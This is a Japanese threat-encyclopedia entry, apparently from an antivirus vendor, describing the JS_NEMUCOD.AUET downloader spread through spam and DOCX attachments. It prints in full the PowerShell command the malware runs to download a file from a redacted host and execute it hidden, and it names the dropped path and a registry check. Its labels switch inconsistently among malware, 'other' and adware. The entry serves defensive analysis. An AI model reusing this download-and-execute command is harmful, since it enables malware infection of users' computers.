JS_NEMUCOD.AUET

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。

マルウェアは、ダウンロードしたファイルを実行します。 ただし、情報公開日現在、このWebサイトにはアクセスできません。

侵入方法

その他は、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。

ダウンロード活動

その他は、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• http://{BLOCKED}a.{BLOCKED}atinos.com/js90.bin?GRnuvHf

その他は、以下のファイル名でダウンロードしたファイルを保存します。

• %User Profile%\AppData\RoamingXNe56.Exe

(註：%User Profile% フォルダは、Windows 2000、XP および Server 2003 の場合、通常、"C:\Documents and Settings\＜ユーザ名＞"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\＜ユーザ名＞" です。.)

その他は、ダウンロードしたファイルを実行します。

ただし、情報公開日現在、このWebサイトにはアクセスできません。

その他

マルウェアは、以下を実行します。

• マルウェアは、powershellコマンドを利用して不正な活動を実行します。
  • “%System%\cmd.exe" /c ping localhost & powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://＜省略＞a.＜省略＞ atinos.com/js90.bin?GRnuvHf','%APpdATa%XNe56.Exe'); sTArt-procEss '%appDAtA%XNe56.ExE'
• マルウェアは、以下のレジストリ値に対してクエリを実行し、データの12番目の文字を自身の不正活動に利用します。マルウェアは、文字が ”F" でなかった場合、不正活動を実行しません。
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir

マルウェアは、DOCXファイルを経由して侵入します。マルウェアは、ファイルに埋め込まれて侵入し、ユーザがクリックすると不正活動が実行されます。

埋め込まれた不正なJSファイルが実行されると、以下のメッセージボックスがユーザに表示されます。

アドウェアは、ルートキット機能を備えていません。

アドウェアは、脆弱性を利用した感染活動を行いません。